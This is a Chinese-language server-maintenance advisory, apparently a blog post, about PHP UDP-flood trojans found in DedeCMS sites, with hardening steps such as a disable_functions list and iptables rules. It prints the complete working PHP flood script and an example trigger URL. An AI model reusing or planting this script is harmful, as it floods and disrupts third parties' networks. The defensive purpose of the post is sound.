php发送大量UDP攻击包的警告

从2010年到现在基于php发送大量UDP数据包的php木马相当流行,主要附属于dedecms(织梦cms)。会导致服务器间歇性断网,网卡发送大量的数据,导致网络堵塞,危害较大。这里特别请求广大站长别再使用织梦cms发布系统。

 RX bytes:28991967155 (28.9 GB)  TX bytes:437305805252 (437.3 GB)

织梦系统是基于非安全模式下进行开发,以下的加固方法会直接导致织梦系统的采集功能以及发布等不能正常使用。织梦cms系统调用了很多危险的php系统函数,这些函数会和木马一样具有强大的功能。

php的ddos代码如下:

<?php  

$packets = 0;  

$ip = $_POST['ip'];  

$rand = $_POST['port'];  

set_time_limit(0);  

ignore_user_abort(FALSE);  

$exec_time = $_POST['time'];  

$time = time();  

print "Flooded: $ip on port $rand <br><br>";  

$max_time = $time+$exec_time;  

for($i=0;$i<65535;$i++){  

        $out .= "X";  

}  

while(1){  

$packets++;  

        if(time() > $max_time){  

                break;  

        }  

        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  

        if($fp){  

                fwrite($fp, $out);  

                fclose($fp);  

        }  

}  

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";  

?>

有些版本有“phpddos 仅供教学使用 或者xx是骗子之类的字符”。

可以看出php会随机发送大小的udp包,请求方式是通过url访问,以达到攻击别人的目的。调用了fsockopen函数。

请求的url类似

http://www.cntv.cn/xxx/xx/inc/newfile.php?host=1.2.3.4&port=80&time=1200

针对此类的ddos网络攻击我们建议做以下的安全加固:

1.开启php的安全模式,safe_mod=on

2.关闭函数disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,fsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,fwrite,
fclose

3.fopen allow_url_fopen = Off 关闭php请求远程url ,这个很多系统里面有调用,请考虑其他方式实现。

4.通过防火墙丢弃掉udp包

;linux

iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT

iptables -A OUTPUT -p udp -j DROP
windows请用ipsec做以处理

5.这里再次呼吁广大站长请勿再继续试用织梦cms发布系统,此系统极为不安全。

 

dedecms 木马

服务器维护 服务器配置 服务器 维护 运维 网管 系统调优 网络调优 数据库优化